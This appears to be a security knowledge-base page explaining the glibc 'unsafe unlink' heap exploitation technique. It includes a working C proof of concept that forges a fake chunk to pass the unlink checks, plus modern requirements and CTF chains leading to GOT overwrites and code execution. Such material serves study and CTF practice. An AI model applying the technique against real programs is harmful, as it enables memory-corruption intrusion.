Unlink Attack
Basic Information
Historically, this attack used to give a very strong WWW (Write-What-Where) primitive. Modern glibc added integrity checks, so the technique is no longer the old "write-anything-anywhere by corrupting fd/bk" bug class. However, unsafe unlink is still relevant as a way to obtain a relative pointer overwrite, create overlapping chunks, or pivot a pointer table into a more useful primitive.
Code Example:
Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
Modern notes
- The primitive is not dead after tcache. The main problem is that if a chunk is handled by tcache or fastbins,
unlink_chunk()is never reached. Therefore, modern PoCs usually use sizes outside tcache (for example0x420in the currenthow2heapunsafe_unlink.c) or first fill the target tcache bin. - Safe-linking protects the singly linked lists used by tcache and fastbins, but it does not protect the doubly linked
fd/bkpointers used by the unlink checks. It still matters in practice because many modern exploits use unsafe unlink only to get an overlap and then finish with Tcache Bin Attack. - In modern challenges this technique is often just the first stage: create an overlap / move a pointer table / corrupt a known pointer, and then chain that into a libc leak, heap leak, GOT overwrite, FSOP, or tcache poisoning.
Goal
This attack allows an attacker to change a pointer to a chunk so it points 3 qwords before its original storage location. If that new location contains interesting data (other heap pointers, stack values, globals, or a pointer table), it may be possible to read or overwrite it and pivot into a stronger primitive.
- If this pointer is stored in the stack, and the user can later read/write through it, it may be possible to leak sensitive stack data or even modify nearby saved state without directly touching the canary.
- In several CTF examples this pointer is stored inside an array of heap pointers instead of the stack. Then, moving the pointer 3 qwords backwards is enough to retarget adjacent entries and turn the bug into arbitrary read/write against GOT entries or other application structures.
Requirements
- Control over one chunk's contents and the ability to corrupt the next chunk header.
- A fake chunk that can satisfy the modern unlink checks:
chunksize(P) == prev_size(next_chunk(P))P->fd->bk == PP->bk->fd == P- A known writable location containing the pointer you want to corrupt (stack slot, global pointer, pointer array, heap metadata controlled by the program, ...).
- The target free must actually reach backward consolidation. If the chunk goes to tcache/fastbins, the unlink path is not triggered.
- In many modern exploit chains, a heap leak is also needed later because the overlap obtained with unlink is commonly chained with House of Einherjar or Tcache Bin Attack.
Attack
- There are a couple of chunks (
chunk1andchunk2). - The attacker controls the content of
chunk1and the headers ofchunk2. - Inside
chunk1the attacker creates a fake free chunk: - The fake chunk
sizemust match the forgedprev_sizethat will later be read from the next chunk. Otherwise glibc aborts withcorrupted size vs. prev_size while consolidating. - The fake chunk
fdandbkare made to point near the storage of the realchunk1pointer, with offsets-3and-2, so that both integrity checks are true and both writes land on the same pointer-sized slot.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- The header of
chunk2is corrupted to indicate that the previous chunk is free: - clear
PREV_INUSE - forge
prev_sizeso it points backwards to the fake chunk - When
chunk2is freed, glibc performs backward consolidation andunlink_chunk()processes the fake chunk: fake_chunk->fd->bk = fake_chunk->bkfake_chunk->bk->fd = fake_chunk->fd- Because
fake_chunk->fd->bkandfake_chunk->bk->fdwere arranged to reference the same memory slot, the second write wins and the storedchunk1pointer is changed to the address located 3 qwords before it. - Once the program uses
chunk1again, the attacker now reads/writes through a misdirected pointer. If the corrupted pointer lives near other attacker-controlled pointers, stack variables, or an object table, this often becomes the real exploitation pivot. - A very common modern continuation is:
- use unlink to obtain an overlap or corrupt a pointer table,
- leak heap/libc pointers from unsorted or overlapped chunks,
- finish with House of Einherjar or Tcache Bin Attack.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
References
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c
- https://7rocky.github.io/en/ctf/htb-challenges/pwn/dream-diary-chapter-3/
- Although it would be weird to find a direct unlink attack in a CTF, here you have some writeups where this primitive or a very close variant was used:
- CTF example: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to get leaks and RCE.
- Another CTF example: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few positions before starting the array and then overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to the GOT of
atoi, print it to get a libc leak, and then overwriteatoiGOT with the address of a one gadget.
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few positions before starting the array and then overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to the GOT of
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- There is an overflow that allows controlling the
FDandBKpointers of a custom malloc chunk that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with shellcode to execute.
- There is an overflow that allows controlling the